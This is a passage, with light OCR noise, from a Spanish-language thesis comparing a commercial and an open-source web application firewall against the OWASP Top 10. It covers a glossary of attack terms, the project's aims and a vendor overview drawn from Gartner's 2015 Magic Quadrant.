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GLOSARIO

Abuso de Funcionalidad: Una técnica de ataque que usa las caracteristicas y
funcionalidades de un sitio web para con generar un alto consumo de recursos,
realizar fraudes o eludir los controles de acceso.

Aplicacién Web: Una aplicacion de software, ejecutada por un servidor web, la
cual responde a solicitudes dinamicas sobre la pagina web a través de HTTP.

Autenticacion: El proceso de verificar la identidad o ubicaciéon de un usuario,
servicio o aplicacion. La autenticacion es desempefiada usando al menos uno de
estos tres mecanismos: algo que usted tiene, algo que usted sabe o algo que
usted es. La aplicacion de autenticacion podria proporcionar diferentes servicios
basado en la ubicacion, método de acceso, hora del dia, entre otros.

Autenticacion Insuficiente: Ocurre cuando un sitio web permite a un atacante
accede contenido sensible o funcionalidades sin verificar su identidad.

Autorizacion: La decisién de que recursos un usuario, servicio o aplicacion tiene
permiso para acceder. Los recursos accesibles pueden ser URL’s, archivos,
directorios, bases de datos, rutas de ejecucion, entre otros.

Cookie: Una pequefia cantidad de informacién enviada por el servidor web hacia
el cliente, la cual puede ser almacenada o recuperada un tiempo después.

Denegacion de Servicio: (DoS, en inglés) Es una técnica de ataque que
consume todos los recursos disponibles de un sitio web al intentar de forma
legitima establecer conexiones concurrentes en lapso corto de tiempo y en una
cantidad que llegan a ser imposibles de procesar por el sistema.

Desbordamiento de bufer: Una técnica de explotacion que altera el flujo de una
aplicacion al sobreescribir partes de memoria. Los desbordamientos de bufer son
una causa comun del mal funcionamiento del software.

Directorio Transversal: Una técnica usada para explotar sitios web al acceder a
archivos y comandos mas alla del directorio raiz del documento. La mayoria de
sitios web restringen el acceso a usuario para una porcion especifica de los
archivos del sistema, tipicamente llamados el directorio raiz o CGI.

Divulgacion de informacion: Cuando un sitio web revela informacion sensible,
como son comentarios del desarrollador o errores de mensajes, lo cual ayuda a un
atacante a explotar un sistema.



Fijacion de sesion: Es una técnica de ataque que obliga a sesién de usuario o
una sesion ID a utilizar un valor especifico.

Firewall de Aplicacion Web: Es un dispositivo intermedio, situado entre un
cliente web y un servidor web que analiza mensajes sobre la capa 7 del modelo
OSl identificando violaciones en las politicas de seguridad programas.

Fuerza Bruta: Es proceso automatizacion basada en la prueba y error para
adivinar los secretos protegidos de un sistemas. Ejemplos de los secretos incluye:
usuarios, contrasefias o claves criptograficas.

HyperText Transfer Protocol: (HTTP, en inglés) Un protocolo de esquema usado
en la World Wide Web. HTTP describe la manera de como cliente web solicitud
informacion y como un servidor web responde esa peticiones.

ID de Sesién: Es una cadena de datos proporcionados por un servidor web,
normalmente almacenados dentro de una cookie o URL. Una sesion registra una
valor de un usuario, o tal vez solo su sesién actual, y como él ha navegado a
traves del sitio web.

Inyeccién de Metacaracteres: Es una técnica de ataque usada para explotar
sitios web al enviar metacaracteres, los cuales tienen un significado especial en
los datos de entrada de una aplicacién web.

Inyeccién de SQL: Es una técnica de ataque usada para explotar sitios web al
alterar informacion de la base de datos SQL a través de la manipulacion de las
entradas de la aplicacion.

Inyeccion Nula: Es una técnica de explotacién usada para saltar los filtros de
revision de sanidad al adicionar caracteres codificados en la URL con el byte de
Null a los datos suministrados por el usuario. Cuando los desarrolladores crean
una aplicacion web en una variedad de lenguajes de programacion, esas
aplicaciones web a menudo pasan los datos que subyacen a bajo nivel para
procesamiento y funcionalidad adicional. Si un usuario suministra cadenas que
contienen un caracter de null (\0), la aplicacién web podria para de procesar la
cadena hasta el punto del null.

Navegador Web: Es un programa que se utiliza para mostrar mensajes HTML
enviados por un servidor web.

Manipulacion de Cookie: Alteracion o modificacion de los valores de las cookies
sobre el navegador del cliente, con el fin de explotar fallas de seguridad dentro de
la aplicacion web.



Manipulacion Parametros: Se le denomina a la alteracion o modificacion de los
parametros de usuario u otros valores dentro de la URL.

Manipulacion de URL: Alterar o modificar los parametros de una aplicacion web a
través de la informacion suministrada en la URL.

Manipulacion del User-Agent: Es una técnica usada para salta restricciones de
requerimiento que se tienen respecto al navegador al alterar el valor enviado
dentro de los encabezados de HTTP.

Secuencia de Ordenes en Sitios Cruzados: (XSS, en inglés) Es una técnica de
ataque que obliga a un sitio web a replicar la informacion suministrada por el
cliente, la cual es ejecutada desde el navegador del usuario.

Servicio Web: Es una aplicacion de software que usa mensajes en formato XML
para comunicar sobre HTTP. Generalmente, este tipo de aplicacion interactua con
servicio web en lugar de usuarios convencionales.

Servidor Web: EIl propoésito general del este dispositivo es manejar y responder
las solicitudes HTTP.

Transport Layer Security: (TLS, en inglés) Es el successor mas seguro de SSL.
El protocolo TLS proporciona la privacidad de las comunicaciones sobre internet.
El protocolo permite a la aplicacion cliente/servidor comunicarse de forma
adecuada previniendo espionaje, manipulacion o falsificacién de los mensajes.

Ubicacion de Archivo Predecible: Es una técnica usada para acceder a un sitio
web con contenido oculto o funcionalidades predecibles, ya sea por sus nombres o
ubicacién de sus archivos.

Universal Resource Locator: (URL, en inglés) Es una manera de especificar la
ubicacion de un objeto, normalmente una pagina web en internet.



RESUMEN

Desarrollar una aplicacion web podria conllevar un gran numero de riesgos
informaticos inherentes, puesto que existen diferentes tipos de técnicas que han
sido utilizadas para tomar provecho de este tipo de aplicaciones algunas de las
mas conocidas se pueden encontrar en el top OWASP 10, sin embargo dia a dia
nuevas vulnerabilidades son encontradas y la posibilidad que un riesgo se
materialicé es cada vez mayor. Por esta razon, las empresas que hacen uso de
este tipo de aplicaciones deben tomar conciencia de las vulnerabilidades a las que
pueden estar expuestos y establecer algun tipo de control que permita disminuir
los riesgos.

Los controles que se pueden llevar a cabo en una aplicacion web son dos, el
primero es realizar una auditoria periédica donde se hace una revision del cédigo y
se ejecutan pruebas de sombrero blanco con el fin de encontrar algun tipo de
vulnerabilidad, la segunda es implementar un firewall de aplicacion web. Cada
control ofrece sus ventajas y desventajas, y en el mejor de los casos lo ideal seria
disponer de ambos, si bien la auditoria permitiria generar cédigo mas robusto
habria una brecha de seguridad en el lapso que una nueva vulnerabilidad sea
encontrada hasta el momento en que la auditoria sea realizada. Asi que disponer
de un WAF que esté en todo momento revisando las peticiones de los usuarios
podria incrementar el nivel de seguridad.

Ahora la pregunta seria, ¢ Qué nivel de seguridad y confiabilidad ofrece un WAF?,
histéricamente los WAF empezaron a ganar popularidad luego que en el Consejo
de Estandares de Seguridad (PCI-DSS) exigieran a las entidades emisoras de
tarjetas de crédito realizar controles sobre las aplicaciones web bien sea por
revision del codigo o mediante un WAF. Hoy en dia existen diferentes fabricantes
dedicados al desarrollo de WAF, analizando lenguajes de programacion tales
como HTML, HTTPS, SOAP and XML-RPC, previniendo ataques como XSS,
inyecciones de SQL, secuestro de sesion, desbordamiento de buffer, ataques de
dia cero, entre otros. Asi que con base en la anterior los WAF hoy en dia han
tenido un gran desarrollo y estan disefiados para detectar diferentes vectores de
ataques, lo que brinda un buen nivel de seguridad.

Teniendo en cuenta que existen tantas marcas de WAF asi como beneficios a
nivel seguridad, este proyecto se enfocé en evaluar las diferencias que podrian
existir entre un WAF comercial frente a uno de libre de distribucion, esta
comparacion se hizo con base en el Top 10 de OWASP donde cada una de las
vulnerabilidades fue probada en cada uno de los WAF. La implementacion del
esquema de pruebas requirio que el WAF operara en un modo de proxy reverso


http://searchsoa.techtarget.com/definition/HTML
http://searchsoftwarequality.techtarget.com/definition/HTTPS
http://searchsoa.techtarget.com/definition/SOAP
http://searchsoftwarequality.techtarget.com/definition/cross-site-scripting
http://searchsoftwarequality.techtarget.com/definition/session-hijacking
http://searchsecurity.techtarget.com/definition/buffer-overflow

de esta forma el servidor web no sufrid ningun tipo de alteraciéon durante el
desarrollo del proyecto y asi garantizar unas pruebas ecuanimes.

Los resultados obtenidos de la prueba han permitido evidenciar que el WAF de
marca F5 dispone una plantilla de gran cantidad lenguajes de programacion web
gue permiten implementar reglas tan granulares tanto como se especifiquen por el
administrador, ademas dispone un consola de administracion web amigable que
permite identificar de forma facil el ataque o informacion andémala detectada,
también se observa que la herramienta dispone de un esquema de aprendizaje el
cual permite notificar al WAF eventos como falsos positivos y aceptar parametros
que en un principio fueron marcados como anémalos, lo cual se asemeja a un
modelo de seguridad positivo que permite tener una mayor escalabilidad. Por su
parte Modsecurity ofrece una gran versatilidad para el desarrollo de nuevas firmas
de ataques, su consola de administracion es a través de linea de comando, y el
nivel de seguridad que se ofrece es muy similar al proporcionado por el WAF de
marca F5 con base en las pruebas realizadas en este proyecto. Asi que los niveles
de seguridad brindados por el WAF comercial como el de libre distribucion estan
iguales, sin embargo las diferencias radican en las funcionalidades que ofrece el
WAF comercial que permite una mayor escalabilidad y un mejor modelo de
implementacion.

Palabras claves: Vulnerabilidades Web, Firewall de Aplicacion Web, OWASP



INTRODUCCION

El firewall en el ambito de la seguridad informética ha permitido establecer un
punto de monitoreo y control en el acceso a la red que brindan las compafiias a
sus usuarios y/o empleados para el caso de los firewall de aplicacion web el punto
de supervision esta a nivel de aplicacion validando las consultas que realiza el
usuario asi como las respuestas que entrega el servidor, de esta forma el WAF
garantiza la integridad de la informacion que es intercambiada entre las partes.

En el mercado se pueden encontrar diferentes marcas y funcionalidades en
servicios de WAF, pero antes de realizar una seleccion siempre es importante
identificar las necesidades y requerimientos de cada aplicacion. Para este
proyecto se evalla el cumplimiento que da un WAF, de una marca comercial
comparada con uno de libre distribucion, respecto al cumplimiento del Top 10 de
vulnerabilidades de OWASP en 2013. Los elementos empleados en esta
evaluacion son: Application Security Manager como es conocido el producto WAF
de F5, una de las marcas lideres en Gartner para 2015 y por otra parte se empled
ModSecurity un proyecto de libre distribucion de la empresa Trustwave, un
software conocido por ser uno de los antiguos y usado en proyectos de
investigacion.

Posteriormente, las dos marcas de WAF seran implementadas en un ambiente de
pruebas, donde se tendra un servidor web con fallas seguridad y del lado cliente
se dispondra de herramientas de pentesting para explotar las vulnerabilidades
listadas en el Top 10 de OWASP. Como resultado se espera poder diferenciar las
ventajas y desventajas que presenta cada una de las marcas.
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1. DEFINICION DEL PROBLEMA

Con el auge de la era digital la mayoria de actividades cotidianas se pueden hacer
en linea, solamente se requiere disponer de una conexidén a internet, un equipo
terminal como un PC o un teléfono inteligente y un navegador web, las ventajas
para los usuarios son muchas, ademas de tener disponibilidad del servicio en todo
momento sin restriccion de horarios, ahorrando tiempo y dinero. Hoy en dia
existen diferentes servicios como son: banca en linea, comercio electronico,
tramites gubernamentales, educacion, entre otros. Sin embargo, prestar estos
servicios representa un reto en seguridad para las entidades que lo brindan puesto
que deben garantizar la confiabilidad e integridad de la informacion que es
intercambiada.

En Colombia, existen entidades encargadas de vigilar y hacer cumplir los
estandares a nivel de seguridad y asi proteger los datos de los usuarios, una de
ellas es la Superintendencia Financiera de Colombia que a su vez se apoya en
normativas a nivel internacional como son PCI-DSS, OWASP, entre otros. Este
altimo, el Proyecto Abierto de Seguridad de Aplicaciones Web (OWASP por sus
siglas en inglés) tiene el proposito de publicar e informar aquellas causas que
hacen que las aplicaciones web sean inseguras, categorizandolas por criticidad e
impacto que dependiendo los servicios prestados por la compafiia llega a tener
aplicabilidad.

Por su parte, dentro de la seguridad informética estan los Firewall de Aplicaciones
WEB (WAF por sus siglas en inglés) que surgen por la necesidad de mejorar la
seguridad en los servicios web. Los WAF a diferencia de otros dispositivos
tradicionales de seguridad como: firewall, Sistemas de Prevencion o Deteccion de
Intrusos (IPS/IDS por sus siglas en inglés) o antivirus; permiten un analisis mas
exhaustivo del contenido web, usual tipo de trafico empleado en las operaciones
en linea, ya que inspecciona: parametros HTML, cabeceras de las peticiones,
cookies, XML, javascript, entre otros, lo cual permite prevenir o detectar ataques
como CrossSite Scripting (XSS), SQL Injection (SQL), Remote y Local File
Inclusion (LFI), entre otras actividades que realizan los hackers para robar la
informacion de los usuarios o violar la seguridad de los sistemas.

En definitiva, WAF y OWASP comparte un mismo propdsito ofrecer estrategias
para proteger las aplicaciones web en linea que en las empresas prestadoras del
servicio se transforma en la proteccion de la informacion de los usuarios, uno de
los bienes mas importantes de este tipo de compaiiias.
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1.1. FORMULACION DEL PROBLEMA

¢, Qué diferencia existe a nivel de seguridad y funcional entre un Firewall de
aplicacion WEB comercial y un Open Source frente al Top 10 de OWASP?
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2. JUSTIFICACION

El Proyecto Abierto de Seguridad en Aplicaciones WEB (OWASP por sus siglas en
inglés) es una comunidad abierta dedicada a facultar a las organizaciones a
desarrollar, adquirir y mantener aplicaciones que pueden ser confiables!. En
OWASP se desarroll6 el proyecto TOP 10 el cual identifica los riesgos mas criticos
gue enfrentan los desarrollos Web, estos riesgos son identificados por reconocidas
empresas en el entorno de la seguridad informética tales como: MITRE o PCI
DSS. Por su parte el WAF fue un dispositivo disefiado para proteger los sitios web
de ataques que los tradicionales dispositivos de seguridad como son: los firewall,
IDS/IPS o Antivirus no pueden prevenir.

Con base en lo anterior tanto el WAF como OWASP tienen como propdsito de
aumentar la seguridad de los sitios web, por lo que en este proyecto se busca
analizar la relacion que existe entre las recomendaciones dadas por el TOP 10 de
OWASP vy los mecanismos de seguridad que ofrece el WAF, de esta forma en
primera instancia se puede identificarse los riesgos presentados en OWASP y
como pueden mitigados por el WAF y en segunda medida se busca comparar las
diferencias presentes entre un firewall comercial y uno de libre distribucion.

1 OWASP. OWASP Top 10 — 2013: Los diez riesgos mas criticos en aplicaciones web [en
linea].<https://www.owasp.org/images/5/5f/OWASP_Top_10_- 2013_Final_-_Espa%C3%B1ol.pdf>
[citado en 16 de noviembre de 2015].
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3. OBJETIVOS

3.1. OBJETIVO GENERAL

Realizar un andlisis comparativo de los niveles de seguridad que brinda un firewall
de aplicacion web comercial y un Open Source frente al Top 10 de
vulnerabilidades de OWASP.

3.2. OBJETIVOS ESPECIFICOS

e Evaluar el estado de arte de los web aplications firewalls comerciales frente
a los Open Source.

e Disefiar un esquema de pruebas en un ambiente virtual integrando un
firewall de aplicacion web, una aplicacion web y una herramienta de
pentester.

e Ejecutar pruebas de vulnerabilidades a una aplicacién protegida por
Firewall's de Aplicaciones Web tanto comerciales como OPEN SOURCE

frente al Top 10 de OWASP.

e Presentar los resultados comparando los aspectos de seguridad de
OWASP frente al firewall de aplicacion web.

22



4. MARCO REFERENCIAL

4.1. ESTADO DEL ARTE

La seguridad en aplicaciones web ha tomado un gran valor en nuestros dias, ya
que una gran variedad de ataques se han desplegado en diferentes portales web y
la seguridad ofrecida por el tradicional firewall es casi nula ante este tipo de
eventos. Una de las principales razones detras de todos estos ataques radica en
la falta de conocimiento acerca de los temas de seguridad de los desarrolladores
web, dando via libre a los hacker para que puedan explotar sus vulnerabilidades y
asi irrumpir la seguridad del sitio web. Los problemas de seguridad en la web son
tan graves que segun un estudio realizado por la revista “SC Magazine” el 86% de
los sitios web tienen al menos una vulnerabilidad de alto riesgo?.

4.1.1. Cuadrante méagico de Gartner para WAF 2015 Gartner es una empresa
dedicada a realizar consultoria e investigacion de las tecnologias de la informacion,
para su estudio toma como referencia un gran nimero de empresas en diferentes
sectores, como gobierno, finanzas, telecomunicaciones, mercadeo, entre otras y
tiene como finalidad realizar una analisis comparativo de las fortalezas y
debilidades de las diferentes marcas en cada uno de los ambitos de las
tecnologias de la informacion.

En el estudio entregado por Gartner para Web Application Firewall se
consideraron las marcas que activamente se estan comercializando a
organizaciones. Las tecnologias evaluadas son aquellas que brinden una
proteccion de seguridad mas alla de lo provisto por firewalls de nueva generacion
e IPS. Los WAF deben estar en la capacidad de soportar uno o multiples
servidores web, ademas en este estudio se incluyeron WAF gue estan en frente
de la aplicacion y no los que estan integrados dentro de la aplicacion web.

Otro aspecto que se evidencio en el estudio fue una mayor acogida por parte de
las empresas para las marcas que permiten integrarse con otras tecnologias de
seguridad, tal como pruebas de seguridad de aplicaciones, monitoreo de bases de
datos, manejo de eventos e informacion de seguridad (en inglés, SIEM)3.

2 Study: 86 percent of websites contain at least one 'serious' vulnerability [enlineal].
<http://www.scmagazine.com/whitehat-security-release-website-security-statistics-
report/article/416402/>[citado en 8 de noviembre de 2015].

3 D'HOINNE Jeremy, HILS Adam, YOUNG Greg. Magic Quadrant for Web Application Firewalls. En
revista: Gartner ID:G00271692. 2015.
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En la Figura 1 se presentan las marcas evaluadas por Gartner, ubicando de ellas
dentro de sus cuatro cuadrantes, de izquierda a derecha es ponderado su visién
de negocio y de abajo a arriba se califica su facilidad de implementacion.

Figura 1- Cuadrante magico de Gartner 2015 para WAF
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COMPLETENESS OF VISION As of July 2015

Fuente: Magic Quadrant for Web Application Firewalls*

A continuacién se realiza una breve descripcion de las fortalezas de cada una de
las marcas presentes en WAF:

AdNovum

Esta es una empresa Suiza, opera en numero limitado de paises, tiene un mayor
enfoque en dispositivos orientados a Gestién de Acceso Web (en inglés, WAM) y
no es comunmente referenciado como WAF.

Fortalezas: Incluyen fuertes mecanismos de autenticacion y Single Sign-On
(SSO). Cuenta con una fuerte experiencia en grandes empresas de Suiza,
proporciona licencias demo para pruebas. Clientes estan a gusto con las politicas
de autoaprendizaje y funcionalidades de seguridad como, encripcion de URL
CSRF y firmas de formas.

4 Ibid.
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Debilidades: Tiene mayor enfoque hacia WAM que hacia WAF, lo cual limita su
crecimiento para crecer en funcionalidad de seguridad. Tiene una limitada
expansion hacia otros paises fuera de Suiza. Las funcionalidades de inyeccion de
SQL y XSS estan enfocadas sobre ModSecurity herramienta libre y en firmas
comerciales, y no disponen de otras fuentes de alimentacion para investigacion de
amenazas e inteligencia de ataques.

Akamai

Es una empresa de Estados Unidos, su producto de WAF es llamado Kona Site
Defender proporcionada servicios generando un pago mensual basado en los
requerimientos y niumero de aplicaciones a proteger, ademas cuenta con servicios
adicionales como proteccion a DDoS.

Fortalezas: Permite integrar WAF con proteccion de DDoS. Esta bien disefiado
para los casos en los que la prioridad es detener y alertar. Akamai se apoya en la
informacion compartida en internet acerca de anomalias reportada y asi genera
ponderacion de acuerdo a la reputacion de las IP. Ademas, ha incrementado su
cobertura en gran numero de clientes alrededor del mundo.

Debilidades: Es un servicio que solo esta disponible en servicios en la nube y no
provee dispositivo en el centro de datos del cliente. Otra falencia detectada esta
en sus precios los cuales son altos para las pequeiias y medianas empresas (en
inglés, SMBs) donde generalmente se prefieren los servicios en la nube. Respecto
a temas de seguridad este WAF se base principalmente en firmas y puntuaciones
de reputacion y lo hace menos adecuado en el bloqueo de casos primarios o
repuestas activa, ademas cuenta con un limitado nivel de autoaprendizaje y
personalizacion de politicas.

Barracuda

Es una empresa de Estados Unidos cuenta con una gran cantidad de productos
gue son ampliamente aceptados en SMBs, ofrece dispositivos que son instalados
en el predio del cliente.

Fortalezas: Tiene gran variedad de plataformas, y es el Unico que ofrece WAF
sobre Azure y en plataformas con vCloud. Barracuda proporciona una fuerte
reputacion de IP, proteccion de cookie y capacidades firmado de informacion de
cliente. Ademas proporciona un gran soporte y cubrimiento a nivel mundial.

Debilidades: Se reportan diferentes problemas referentes a la automatizacion de la

seguridad. El resultado de escaneos de seguridad debe ser importado de forma
manual, y las capacidades de aprendizaje son deshabilitados por defectos y
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necesitan ser rehabilitados después de cada cambio. Por otra parte se reporta que
no dispone de dispositivos para soportar trafico mayor a 5Gbps.

Citrix

Es una empresa de Estado Unidos, proveedor de los soluciones de Controlador de
Entrega de Aplicacién (en inglés, ADC), infraestructura en la nube y un amplio
portafolio de virtualizacion. El producto de WAF es llamado Netscaler, por méas de
una década fue vendido como software y a partir de 2014 se empezd a
comercializar como un dispositivo.

Fortalezas: Netscaler incluye caracteristicas maduras para seguridad web, y
puede ser combinado con soluciones de VPN SSL para acceso remoto, también
proporcionada una gran habilidad para grandes organizaciones cuando es
requerido remover el SSL.

Debilidades: Como la mayoria de fabricantes de ADC, Citrix se enfoca en clientes
con ADC y no enfoca sus esfuerzos principales sobre en los temas de seguridad.
El fabricante no ofrece o colabora con servicios de protecciéon de DDoS en la nube.

DBAPPSecurity

Es una empresa China, es un fabricante de WAF y soluciones de seguridad a
bases de datos. Su producto de DAS-WAF fue liberado en el 2007. Su producto
ofrece escaneo de vulnerabilidades en web y bases de datos. En 2014 liberaron
su dispositivo hardware, su enfoque esta en proporcionar servicios en China en
SMBs.

Fortalezas: DAS-WAF incluye aprendizaje automatico de politicas y cacheo de
aplicaciones web, puede operar en proxy-reverso, proxy transparente o modo
monitor. Puede integrar bien con fabricantes de escaneo de vulnerabilidades.

Debilidades: Con respecto a sus competidores tiene algunas falencias con
respecto al role de gestidon, reportes de actividad detallada y caracteristicas de
autenticacion. Los clientes reportan que la gestion y las consolas de reportes
requieren mejoras. Por otra parte tiene un mercado limitado fuera de China.

Denyall

Es una empresa Francesa y ha estado en el mercado de WAF desde 2001 su
producto se llama rWeb, también ofrece servicios de WAM y Firewall de Servicio
Web (en inglés, WSF) y administrador de vulnerabilidades web. Su producto esta
en version de software y hardware. Denyall se enfoca en el mercado francés y
europeo donde se enfoca en medianas y grandes empresas.
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Fortalezas: Los clientes reportan una alta calidad en el soporte y capacidad de
respuesta a las solicitudes. Deny all incluye gran variedad de técnicas avanzadas
de proteccion, incluyendo proteccion y analisis de trafico JSON, deteccion de
debilidades de codigo y un agente de navegador ligero. Denyall gana también en
su enfoque a la seguridad, ofrece gran variedad técnicas de anti-evasion y
protecciones ante SQL y XSS.

Debilidades: El principal foco de esta marca esta en Francia y Europa, y tiene una
limitada visibilidad, y tiene una limitada cobertura en demas paises, también
indican que su crecimiento organico es lento comparado con sus competidores.

Ergon Informatik

Es una empresa Suiza, su producto de WAF es llamado Airlock. Es implementado
en modo de proxy reverso y esta disponible como hardware, software o dispositivo
virtual, ademés cuenta varios modulos de autenticacion.

Fortalezas: Brinda buena eficiencia de su soporte robustez en su solucion de WAF
cuando se implementa en soluciones productivas. Las mas recientes
actualizaciones proporcionan facilidad en la gestién de firmas y mejoras en la
visibilidad sobre las funciones de seguridad. Asimismo, incluye técnicas extensas
en parametros de aplicaciones web, tales como cifrados de la URL, proteccion de
cookies y verificacion de integridad de parametros.

Debilidades: Airlocks tiene algunas falencias de funcionalidades avanzadas de
seguridad, como son aprendizaje automéatico de politicas e inyeccion de token en
CSRF. Tampoco ofrece una gestion centralizada y tiene numeros bajos en
implementaciones de WAF.

F5

Es una empresa de Estados Unidos enfocada en las aplicaciones de
infraestructura con mayor enfoque en ADC. La solucion de WAF se ofrece como
un software llamado Application Security Manager (ASM), y a menudo se vende
con demas funcionalidades dentro de un mismo hardware. Posee una gran
cobertura a nivel mundial y tiene gran acogida por sus modulos de ADC.

Fortalezas: El equipo corporativo de F5 y sus proveedores de canales
proporcionan capacidades de logistica y soporte que tienen mayor cubrimiento
que la gran mayoria de WAF. Ademas, tiene funcionalidades de scripting que
permite la elaboracidon de reglas personalizadas mediante iRules y caracteristicas
de geolocalizacién para la ponderacion de IP maliciosas.

Debilidades: Los clientes reportan dificultad en su configuracion inicial y
afinamiento de politicas, junto con problemas para mantener el histérico de los
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reportes luego de un reinicio. Ademas, tal como otros WAF basados en ADC, la
mayoria de los compradores de este producto perciben al WAF como un adicional
acompafando a su ADC en el modo de proxy reverso, esto pone a ASM en
desventaja frente a los WAF nativos.

Fortinet

Es una empresa de Estados Unidos, es fabricante importante en infraestructura de
red y seguridad en redes. Ofrece el producto de WAF denominado Fortiweb, un
ADC (FortiADC) y proteccion en bases de datos FortiDB. Fortiweb proporciona
multiples tipos de implementacion tanto fisica como virtual y actia como proxy
transparente y reverso y no puede implementarse en linea.

Fortalezas: Los clientes mencionan la buena reputacion de la marca, sus precios
competitivos y la satisfaccion con otros productos como la justificacion de la
compra de FortiWeb. Otra ventaja se basa en un sdlido hardware con la
desencripcion del SSL, el uso del antivirus para la inspeccién de malware sobre
servicios de archivos compartidos, un escaneo de vulnerabilidades,
implementacion fuera de banda (en inglés, OOB) y buen numero de reportes
predefinidos.

Debilidades: Fortinet es brindado como una linea secundaria comparado con otros
productos como Fortigate (Firewall de nueva generacion), ademas cuenta con
dificultades para implementarse en ambientes de aplicaciones no triviales y gastan
demasiado tiempo para su implementacion. Por otro lado Fortiweb cuenta con
poca capacidad de integracion con respecto a los demas productos que ofrece la
marca, tampoco proporcionada soluciones en servicios en la nube.

Imperva

Es una empresa de Estados Unidos, es un fabricante con un amplio legado de
WAF bajo la marca SecureSphere. Esta marca cuenta con productos que estan
enfocados en la seguridad de los datos, incluyendo proteccion en bases de datos,
monitoreo a la actividad de archivos, prevencion de ataque de volumétricos de
DDoS, seguridad de acceso en la nube.

Imperva se ha posicionado principalmente por su implementacion de puente en
modo transparente. Este modo de funcionamiento se alinea con los requerimientos
de las empresas, debido a que sus implementaciones son mas faciles y evita
introducir un segundo proxy. Existen otros servicios de seguridad como WAF en la
nube o como servicio, que incluyen los DDoS.

El dispositivo en hardware tiene 7 modelos de soportadas, ademas cuenta con

modelos de virtualizacién, y sus cajas de mayor capacidad pueden alcanzar un
throughput de 10Gbps. Imperva es lider debido a que continuamente gana en
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caracteristicas de seguridad e innovacion, ademas resiste la presion por el precio
de sus competidores directos.

Fortalezas: Imperva constantemente ha obtenido altas calificaciones de sus
clientes, con altas tasa de satisfaccion referente a seguridad, reportes y proteccion.
Ademas continuamente ha liderado en el mercado de WAF debido a sus nuevas
funcionalidades que obligan a sus competidores a reaccionar, incluyendo muchas
técnicas avanzadas para mejorar la eficiencia de la proteccion.

Debilidades: Imperva resulta ser usualmente muy avanzado para SMBs, 0 en
proyectos donde el WAF esta siendo desempefiado como una obligacion para
cumplir con algun requerimiento. Aunque Imperva tiene las mejores
funcionalidades de seguridad, la mayoria de WAF ofrece ADC, y el servicio de
WAF termina siendo una licencia que se adiciona a un dispositivo y no tiene que
pagar por equipo adicional.

NSFOCUS

Es una empresa de China cuenta con servicios de Anti-DDoS, IPS y escaneo de
vulnerabilidades y esta enfocado a las SMBs.

Fortalezas: Clientes reportan un precio competitivo y buen desempeiio, el
dispositivo puede integrarse con la solucién de Anti-DDoS en la nube. Ademas, el
producto cuanta con certificaciones de calidad como ICSA.

Debilidades: Su mercado esta muy limitado a solo China, por otro lado tiene una
limitada consola de gestion, restricciones a la implementacion de cluster
activo/activo y aceleracion del SSL. Tampoco tiene caracteristicas para la
autenticacion e integracion con SIEM para correlacién de eventos.

Penta Security

Es una empresa Sur coreana dentro de sus productos se inluye la protecciéon de
bases de datos y autenticacién con SSO. Su producto de WAF es conocido como
Wapples y es ofrecido como hardware, sistema de virtualizacion o como servicio.

Fortalezas: Sus clientes los califican como una implementacion facil y tiene una
baja carga operativa. Wapples se encuentra certificado con EAL4, e incluye
caracteristicas de seguridad como validacion de parametros y cookies.

Debilidades: Wapples dispone de limitadas funciones para crear politicas de
seguridad automatizadas, ademas la robustez de su seguridad depende de su
motor genérico y algunas técnicas complementarias en caso de no detectar los
ataques.
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Positive Technologies

Esta empresa tiene sus oficinas centrales en Moscu, Londres y Boston, su
producto es llamado PT Application Firewall. Este producto esta disponible en
hardware y en una version de software. La mayoria de sus clientes son agencias
del gobierno y de finanzas.

Fortalezas: Los clientes seleccionan esta marca por la facilidad en su
configuracion a través de su autoaprendizaje y razones heuristicas, ademas indica
que la respuesta a la atencion de los incidentes se realiza de forma rapida.

Otras ventajas estan en la deteccion del XSS reflejado al analizar las repuestas de
HTTP y usa aprendizaje de maquina para la deteccién de anomalias.

Debilidades: Este producto joven y esta soportado solo en pocas zonas
geograficas, tiene algunas falencias para la integracién con directorio activo y no
soporta el retiro de SSL.

Radware

Es una empresa Israeli y brinda gran variedad de productos de seguridad, donde
se incluyen varios tipos de DDoS y WAF (AppWall). AppWall puede ser instalado
como maquina fisica o virtual, ademas ofrecer una gestién centralizada para la
administracion. Radware también incluyo en sus servicios el soporte fuera de
banda integrandose con la mitigacion de DDoS.

Beneficios: AppWall puede ser implementado en modo puente y proxy reverso,
gue junto con el manejo aprendizaje automatico facilitan su implementacion. Por
otra parte Radware brinda unos precios acordes, ademas ofrece servicios de multi
tenencia y se integra con modulos de autenticacion como SSO.

Debilidades: Presenta debilidades para integrar con escaner de vulnerabilidades
de otras marcas y soluciones de bases de datos. Otro aspecto desfavorable fue su
lenta integracion con el ADC lo cual le genero un desventaja competitiva contra
sus competidores de ADC/WAF.

Trustwave

Es una empresa de Estados Unidos que proporciona un amplio portafolio de
soluciones de seguridad, incluyendo su WAF, proteccion web, IPS, aplicaciones
de seguridad y soluciones relacionadas con SIEM. La solucion de WAF tiene
compatibilidad con soluciones de su propia marca con escaner de vulnerabilidades
y SIEM, ademas tiene soporte de la herramienta de libre distribucion ModSecurity.
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Fortalezas: Trustwave soporta ModSecurity que brinda un gran equipo de
investigacion de amenazas acceso retroalimentacion de su comunidad, lo cual es
atil para seguir mejorando su WAF. Trustwave también proporciona una
configuracion por defecto que esta preparada para soportar PCI.

Debilidades: Existe incertidumbre del futuro de su empresa por la posible venta a
Singtel, ademas de la posible fusion con Akamai. Por parte de los clientes
mencionan un alta tasa de falsos positivos.

United Security Providers

Es una empresa de Suiza que proporciona soluciones de WAM que esta integrada
con WAF, servidor de autenticacion y Gateway de XML. Proporciona diferentes
servicios de seguridad gestionados que se integran con otros proveedores. El
WAF es soportado en dispositivo fisico, virtual, software y servicio en la nube.

Fortalezas: La integracion con la solucion de WAM ofrece flexibilidad para la
autenticacion y SSO, ademés el WAF proporciona avanzadas funcionalidades de
seguridad como son encripcion de URL, proteccién contra CSRF, seguridad con
cookies y validacion del cliente web.

Debilidades: United Security Providers incremento sus esfuerzos en la solucion de
WAF, sin embargo WAM sigue siendo su producto primario. Los clientes por su
parte indica que la gestion y los reportes podrian ser mejorados. Otro falencia que
se reporta es el no poder redireccionar trafico al servicio de DDoS en la nube o
integrar con servicios de DDoS de otras marcas.

4.1.2. Antecedentes Con la finalidad de identificar trabajos relacionados con la
propuesta planteada, se tomaron algunos articulos y trabajos de grado que
proponen tematicas similares a las del proyecto, como se citan a continuacion.

En el articulo How to deploy a Web Application Firewall®> — el autor plantea que el
ciclo de vida de la seguridad es un aspecto importante durante la instalacién del
